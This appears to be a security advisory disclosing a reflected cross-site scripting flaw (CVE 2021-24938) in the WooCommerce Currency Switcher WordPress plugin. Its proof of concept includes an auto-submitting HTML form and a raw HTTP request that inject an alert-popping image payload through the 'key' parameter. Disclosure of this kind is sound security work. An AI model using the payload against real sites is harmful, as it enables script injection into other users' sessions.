WooCommerce Currency Switcher < 1.3.7.1 – Reflected Cross-Site Scripting | CVE 2021-24938

Description

The plugin does not sanitise and escape the key parameter of the woocs_update_profiles_data AJAX action (available to any authenticated user) before outputting it back in the response, leading to a Reflected cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
        <input type="hidden" name="action" value="woocs_update_profiles_data" />
        <input type="hidden" name="key" value="<img src onerror=alert(`XSS`) >" />
        <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Connection: close
Cookie: [any authenticated user]
Cache-Control: max-age=0

action=woocs_update_profiles_data&key=%3Cimg+src+onerror%3Dalert%28%60XSS%60%29%3E